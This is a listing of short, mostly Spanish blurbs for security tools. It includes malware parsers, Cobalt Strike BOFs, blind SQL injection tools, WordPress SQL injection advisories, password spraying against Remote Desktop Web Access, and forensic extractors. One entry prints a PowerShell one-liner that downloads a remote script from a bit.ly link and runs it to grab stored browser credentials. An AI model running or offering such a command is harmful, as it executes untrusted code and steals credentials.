maldrolyzer

maldrolyzer Framework sencillo para extraer datos "accionables" del malware de Android C&Cs, números de teléfono, etc. Instalación Tienes que instalar los siguientes paquetes antes de empezar a usar este proyecto: Androguard git clone https://github.com/androguard/androguard; cd androguard; sudo...

BRC4-BOF-Artillery

Generic Este repositorio incluye una colección de BOFs genéricos que escribí durante un período de tiempo. Este repositorio se centra únicamente en el portado y la ejecución, sin modificar el código fuente original para mantener la estabilidad. Aunque es posible que realice más pruebas en el...

sslScrape

sslScrape SSLScrape | Una herramienta de escaneo para extraer nombres de host de certificados SSL. Escrito por Peter Kim y @bbuerhaus . / ///| | // \ \ | | / \ / \ / / | | / \ | | // | | / / / /| / / | // / / / / / /|| / Uso | python sslScrape.py CIDR Range Ej. | python sslScrape.py 10.100.100.0/...

graphicator

Graphicator Graphicator 是一个 GraphQL "抓取器" / 提取器。该工具会遍历目标 GraphQL 端点返回的内省文档，然后重新构建内部形式的 schema，以便重新创建支持的查询。当这些查询创建完成后，工具会使用它们向端点发送请求，并将返回的响应保存到文件中。 错误的响应不会被保存。默认情况下，工具会缓存正确的响应以及错误信息，因此重新运行工具时不会重复执行相同的查询。 请明智地使用它，并且仅在你拥有权限的目标上进行操作。 我们希望该工具能帮助你作为渗透测试人员自动化自己的测试，同时也能推动那些尚未进行 GraphQL 测试的人开始行动。 了解如何对...

CAPE-parsers

CAPE-parsers Parsers principales y de la comunidad de CAPE Estructura de configs CNCs: campaign: str botnet: str dgaseed: hex str version: str mutex: str useragent: str build: str cryptokey: str cryptokeytype: str algorithm. Ex: RC4, RSA public key. salsa20, xchacha20 raw: any other data goes her...

isr-sqlget

-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com | ..:: DESCRIPCIÓN ISR-sqlget: Es una herramienta de inyección SQL ciega desarrollada en Perl. Permite obtener esquemas de bases de datos y filas de tablas. Usando un único GET/POST puedes acceder silenciosamente a la...

credgrap_ie_edge

credgrapieedge Contenido: Extrae credenciales almacenadas de Internet Explorer y Edge Autor: Florian Hansemann | @HanseSecure | https://hansesecure.de Fecha: 04/2018 Uso powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recomendación Solución...

polypyus

Polypyus Firmware Historian Polypyus learns to locate functions in raw binaries by extracting known functions from similar binaries. Thus, it is a firmware historian. Polypyus works without disassembling these binaries, which is an advantage for binaries that are complex to disassemble and where...

VidShop for WooCommerce <= 1.1.4 - SQL Injection

VidShop – Shoppable Videos for WooCommerce plugin for WordPress = 1.1.4 contains a time-based SQL injection caused by insufficient escaping of the 'fields' parameter, letting unauthenticated attackers extract sensitive database information. id: CVE-2026-0702 info: name: VidShop for WooCommerce =...

MyStyle Custom Product Designer <= 3.21.1 - SQL Injection

The MyStyle Custom Product Designer plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.21.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated...

TrueBooker <= 1.0.2 - SQL Injection

The TrueBooker Appointment Booking and Scheduler Plugin. plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible...

dbslice

dbslice Extrae subconjuntos mínimos de bases de datos, referencialmente íntegros, para desarrollo local y depuración. El problema Copiar una base de datos de producción completa a tu máquina es inviable. Pero reproducir un error a menudo requiere tener los datos exactos que lo causaron. dbslice...

RDWAtool

Una herramienta todo-en-uno en Python para extraer información, realizar spraying y fuerza bruta de contraseñas en una aplicación Microsoft Remote Desktop Web Access RDWA. Esta herramienta Python permite extraer diversa información de una aplicación Microsoft Remote Desktop Web Access RDWA, como ...

magic-extractor

Magic Extractor 描述 Magic Extractor 是一款面向 Windows 的通用提取工具，它会通过多种检测器识别文件， 并将其路由到正确的内置解压程序。它旨在覆盖主流压缩格式、如今常见的安装程序， 以及一系列不太常见的归档工具。 它可自动检测 80 多种格式 —— 包括归档文件、安装程序、磁盘映像、取证映像 EWF/AFF/AD1、光盘映像、邮件存储和现代编解码器。完整列表请参阅 formats.md。 快速开始 下载最新版本，解压后运行： magic-extractor.exe extract mystery.bin...

BFScan

BFScan Herramienta para el procesamiento inicial de aplicaciones APK / XAPK / APKM / DEX / JAR / WAR. Busca cadenas en el código fuente y los recursos que parezcan URI, rutas o secretos Genera solicitudes HTTP sin procesar y especificaciones OpenAPI basadas en archivos de configuración, anotacion...

guasap-whatsapp-foresincs-tool

Guasap Forensic The Guasap Forensic implemented in Python under the GNU General Public License, for the extraction and analysis of files, data bases and logs for forensic WhatsApp. What it does? 1. Check root in device 2. Extract DB and multimedia files no root 3. Extract and analyze deleted...

RawHive

RawHive RawHive es un BOF de Cobalt Strike para extraer secciones específicas del registro de Windows directamente desde un volumen NTFS en bruto. Omite las API de archivos normales, recorre los metadatos NTFS para encontrar los registros de archivos objetivo y copia los bytes directamente desde ...

shed

Shed - Inspector de tiempo de ejecución de .NET Shed es una aplicación que permite inspeccionar el tiempo de ejecución .NET runtime de un programa para extraer información útil. Puede usarse para inspeccionar aplicaciones maliciosas y obtener una primera visión general de qué información se...

firmware-workshop

Extracción, exploración y emulación práctica de firmware Únete a nosotros en esta demostración práctica de Unblob, el extractor de firmware flexible. Durante esta sesión del taller, extraeremos firmware de un cargador de vehículos eléctricos, indagaremos en el firmware y, finalmente, lo emularemo...

toutatis

Toutatis 👋 Hi there! For any professional inquiries or collaborations, please reach out to me at: [email protected] 📧 Preferably, use your professional email for correspondence. Let's keep it short and sweet, and all in English! Toutatis is a tool that allows you to extract information from...